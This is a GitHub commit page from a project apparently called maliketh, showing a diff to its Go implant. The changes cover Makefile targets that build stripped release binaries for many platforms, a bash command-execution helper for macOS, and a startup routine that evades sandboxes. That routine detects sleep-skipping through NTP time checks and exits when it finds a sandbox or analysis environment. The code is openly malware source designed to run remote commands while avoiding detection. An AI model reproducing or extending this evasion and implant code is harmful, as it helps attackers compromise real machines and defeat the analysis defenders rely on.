Skip to content

Commit

Permalink
Merge branch 'master' of github.com:cbrnrd/maliketh
Browse files Browse the repository at this point in the history
* 'master' of github.com:cbrnrd/maliketh:
  Update README for makefile changes
  Fix darwin build and command execution
  Makefile improvements and have a real release/debug compile target
  • Loading branch information
cbrnrd committed Jan 3, 2024
2 parents c255090 + 52a6a2f commit ba78401
Show file tree
Hide file tree
Showing 9 changed files with 164 additions and 33 deletions.
75 changes: 64 additions & 11 deletions go_implant/Makefile
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
GO=go
GOFLAGS=
DEBUG ?= 1
DEBUG ?= 0
BINARY=implant
MAIN=cmd/main.go
GOARCH ?= amd64
GOOS ?= $(shell go env GOOS)


# If debug, append -debug to binary name
ifeq ($(DEBUG),1)
Expand All @@ -13,7 +15,7 @@ else
endif

ifeq ($(DEBUG),1)
GOFLAGS:=$(GOFLAGS) -gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true -X maliketh.config.INITIAL_SLEEP=1"
GOFLAGS:=$(GOFLAGS) -gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true -X maliketh.config.INITIAL_SLEEP=1" -tags debug
else
GOFLAGS:=$(GOFLAGS) -ldflags="-s -w -X maliketh.config.DEBUG=false" -trimpath -gcflags=all="-l -B"
endif
Expand All @@ -22,33 +24,84 @@ endif
default: native-debug

native-debug:
$(GO) build $(GOFLAGS) -o implant-dev-debug $(MAIN)
$(GO) build \
-gcflags="all=-N -l" -ldflags="-X maliketh.config.DEBUG=true -X maliketh.config.INITIAL_SLEEP=1" \
-tags debug -o implant-dev-debug -tags debug $(MAIN)

build:
$(GO) build $(GOFLAGS) -o implant-$(shell go env GOOS)-$(GOARCH) $(MAIN)

all: setup deps macos linux windows
most: setup deps macos linux windows

setup:
mkdir -p build
@mkdir -p build

deps:
$(GO) mod tidy

prepare-release:
@mkdir -p src_release
@cp -r ./cmd ./pkg ./go.mod ./go.sum src_release
@find ./src_release -type f -name "*.go" -print0 | xargs -0 sed -i '' 's/DebugPrintln/\/\/DebugPrintln/g'

linux:
@/bin/echo -n "-----> Building Linux binary ($(GOARCH))... "
@GOOS=linux GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-linux-$(GOARCH) $(MAIN)
@/bin/echo -n "-----> Building Linux binary ($(GOOS):$(GOARCH), DEBUG=$(DEBUG))... "
@GOOS=$(or $(GOOS), linux) GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-$(GOOS)-$(GOARCH) $(MAIN)
@echo "DONE"

macos:
@/bin/echo -n "-----> Building MacOS binary ($(GOARCH))... "
@GOOS=darwin GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-macos-$(GOARCH) $(MAIN)
@/bin/echo -n "-----> Building MacOS binary ($(GOOS):$(GOARCH), DEBUG=$(DEBUG))... "
@GOOS=darwin GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-$(GOOS)-$(GOARCH) $(MAIN)
@echo "DONE"

windows:
@/bin/echo -n "-----> Building Windows binary ($(GOARCH))... "
@GOOS=windows GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-windows-$(GOARCH).exe $(MAIN)
@/bin/echo -n "-----> Building Windows binary ($(GOOS):$(GOARCH), DEBUG=$(DEBUG))... "
@GOOS=windows GOARCH=$(GOARCH) $(GO) build $(GOFLAGS) -o build/$(BINARY)-$(GOOS)-$(GOARCH).exe $(MAIN)
@echo "DONE"

all: setup deps
# Macos
@GOOS=darwin GOARCH=arm64 make macos
@GOOS=darwin GOARCH=amd64 make macos

# # FreeBSD
# @GOOS=freebsd GOARCH=386 make linux
# @GOOS=freebsd GOARCH=arm64 make linux
# @GOOS=freebsd GOARCH=arm make linux

# Generic linux
@GOOS=linux GOARCH=386 make linux
@GOOS=linux GOARCH=amd64 make linux
@GOOS=linux GOARCH=arm make linux
@GOOS=linux GOARCH=arm64 make linux
@GOOS=linux GOARCH=ppc64 make linux
@GOOS=linux GOARCH=ppc64le make linux
@GOOS=linux GOARCH=mips make linux
@GOOS=linux GOARCH=mipsle make linux
@GOOS=linux GOARCH=mips64 make linux
@GOOS=linux GOARCH=mips64le make linux

# # NetBSD
# @GOOS=netbsd GOARCH=386 make linux
# @GOOS=netbsd GOARCH=amd64 make linux
# @GOOS=netbsd GOARCH=arm make linux
# @GOOS=netbsd GOARCH=386 make linux

# # OpenBSD
# @GOOS=openbsd GOARCH=386 make linux
# @GOOS=openbsd GOARCH=amd64 make linux
# @GOOS=openbsd GOARCH=arm make linux

# Windows
@GOOS=windows GOARCH=386 make windows
@GOOS=windows GOARCH=amd64 make windows
@GOOS=windows GOARCH=arm make windows

release: prepare-release most
rm -rf ./src_release

release-all: prepare-release all
rm -rf ./src_release

clean:
rm -rf build/*
27 changes: 23 additions & 4 deletions go_implant/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,17 @@ $ make

This builds the debug version of the implant for your native OS and architecture.

To build for all supported OSes and architectures, run
**NOTE** Any other `make` command will respect the `DEBUG` environment variable when deciding to make a release or debug build.

To build for Mac, Linux, and Windows, run:

```bash
$ make most
```

This will cover most if the use cases.

To build for *all* supported OSes and architectures, run

```bash
$ make all
Expand All @@ -36,13 +46,22 @@ $ make all
To build a stripped version of the implant, simply set `DEBUG=0` when running make. Example:

```bash
$ DEBUG=0 make all
$ DEBUG=0 make most
```

To remove all print statements and debug strings, and strip the binary run:

```bash
$ DEBUG=0 make release

# Compile all supported architectures
$ DEBUG=0 make release-all
```

You can also set the usual `GOOS` and `GOARCH` environment variables to build for a specific OS and architecture using

```bash
$ make build
$ GOOS=linux GOARCH=arm make build
```

## Differences between this and the C++ implant
Expand All @@ -61,6 +80,6 @@ The C++ implant is a bit more optimized for real world use. The golang implant *
* [ ] Do something "normal" when sandbox is detected
* [x] Auto self destruct
* [x] Jitter
* [ ] Builder sript
* [x] Builder script


9 changes: 2 additions & 7 deletions go_implant/cmd/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -5,20 +5,15 @@ import (
config "maliketh/pkg/config"
"maliketh/pkg/crypto"
"maliketh/pkg/implant"
"maliketh/pkg/sandbox"
"maliketh/pkg/startup"
. "maliketh/pkg/utils"
"os"
"time"
)

func main() {

if !config.DEBUG {
if sandbox.SandboxAll() {
DebugPrintln("Sandbox detected, exiting...")
return
}
}
startup.DoStartup()

public, private, err := crypto.CreateBase64KeyPair()
if err != nil {
Expand Down
10 changes: 10 additions & 0 deletions go_implant/pkg/command/command_darwin.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
package command

import "os/exec"

func cmdOut(command string) (string, error) {
cmd := exec.Command("bash", "-c", command)
output, err := cmd.CombinedOutput()
out := string(output)
return out, err
}
18 changes: 8 additions & 10 deletions go_implant/pkg/crypto/crypto.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ import (

"emperror.dev/errors"

. "maliketh/pkg/utils"

"golang.org/x/crypto/nacl/box"
"golang.org/x/crypto/nacl/secretbox"
)
Expand Down Expand Up @@ -40,7 +42,7 @@ func Encrypt(plaintext []byte, serverPublicKey *[32]byte, implantPrivateKey *[32

// Encrypt a plaintext using a base64 encoded public and private key
func EncryptStringToBase64(plaintext string, serverPublicKeyB64, implantPrivateKeyB64 string) (string, error) {
fmt.Printf("Encrypting \"%s\" with public key \"%s\" and private key \"%s\"\n", plaintext, serverPublicKeyB64, implantPrivateKeyB64)
DebugPrintln(fmt.Sprintf("Encrypting \"%s\" with public key \"%s\" and private key \"%s\"\n", plaintext, serverPublicKeyB64, implantPrivateKeyB64))
pub, err := base64.StdEncoding.DecodeString(serverPublicKeyB64)
if err != nil {
return "", err
Expand Down Expand Up @@ -119,34 +121,30 @@ func DecryptSecretBox(ciphertext []byte, key [32]byte) ([]byte, bool) {
func Decrypt(ciphertext []byte, publicKey *[32]byte, privateKey *[32]byte) ([]byte, bool) {
var decryptNonce [NONCE_SIZE]byte
copy(decryptNonce[:], ciphertext[:NONCE_SIZE])
decrypted, ok := box.Open(nil, ciphertext[NONCE_SIZE:], &decryptNonce, publicKey, privateKey)
if !ok {
panic("decryption error")
}
return decrypted, true
return box.Open(nil, ciphertext[NONCE_SIZE:], &decryptNonce, publicKey, privateKey)
}

func DecryptB64String(ciphertextb64 string, serverPublicKeyB64, implantPrivateKeyB64 string) (string, bool) {
pub, err := base64.StdEncoding.DecodeString(serverPublicKeyB64)
if err != nil {
fmt.Println("error decoding public key")
DebugPrintln("error decoding public key")
return "", false
}
priv, err := base64.StdEncoding.DecodeString(implantPrivateKeyB64)
if err != nil {
fmt.Println("error decoding private key")
DebugPrintln("error decoding private key")
return "", false
}

decodedCiphertext, err := base64.StdEncoding.DecodeString(ciphertextb64)
if err != nil {
fmt.Println("error decoding ciphertext")
DebugPrintln("error decoding ciphertext")
return "", false
}

dec, ok := Decrypt([]byte(decodedCiphertext), (*[32]byte)(pub), (*[32]byte)(priv))
if !ok {
fmt.Println("error decrypting")
DebugPrintln("error decrypting")
return "", false
}
return string(dec), true
Expand Down
16 changes: 15 additions & 1 deletion go_implant/pkg/sandbox/sandbox.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ package sandbox
import (
"fmt"
"net"
"os"
"runtime"
"strings"
"time"
Expand Down Expand Up @@ -50,6 +51,19 @@ func SandboxSleep() bool {
return z
}

// Sleep for n seconds, returning true if the sleep was skipped.
// This should be used as a drop-in replacement as we almost never
// want to continue with execution if we're being sleep skipped.
func SleepNExitIfSandboxed(n int) {
firstTime := GetNTPTime()
time.Sleep(time.Duration(n*1000) * time.Millisecond)
secondTime := GetNTPTime()
difference := secondTime.Sub(firstTime).Seconds()
if difference < float64(n) {
os.Exit(0)
}
}

// SandboxCpu is used to check if the environment's
// cores are less than a given integer.
func SandboxCpu(cores int) bool {
Expand Down Expand Up @@ -130,7 +144,7 @@ func SandboxAll() bool {
SandboxRam(2048),
SandboxUtc(),
}
fmt.Printf("%+v\n", values)
DebugPrintln(fmt.Sprintf("%+v\n", values))
for s := range values {
x := values[s]
if x {
Expand Down
5 changes: 5 additions & 0 deletions go_implant/pkg/startup/startup.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
package startup

func DoStartup() {
doStartup()
}
14 changes: 14 additions & 0 deletions go_implant/pkg/startup/startup_debug.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
//go:build debug
// +build debug

// Use this file if in debug mode (ie if `-tags debug` is set at in `go build`)

package startup

import "maliketh/pkg/sandbox"

func doStartup() {

// Just print the sandbox status
sandbox.SandboxAll()
}
23 changes: 23 additions & 0 deletions go_implant/pkg/startup/startup_release.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
//go:build !debug
// +build !debug

// Use this file if not in debug mode

package startup

import (
"maliketh/pkg/config"
"maliketh/pkg/sandbox"
"os"
)

func doStartup() {

// Do our initial sleep, exiting if we're being sleep skipped
sandbox.SleepNExitIfSandboxed(config.INITIAL_SLEEP)

if sandbox.SandboxAll() {
os.Exit(0)
}

}

0 comments on commit ba78401

Please sign in to comment.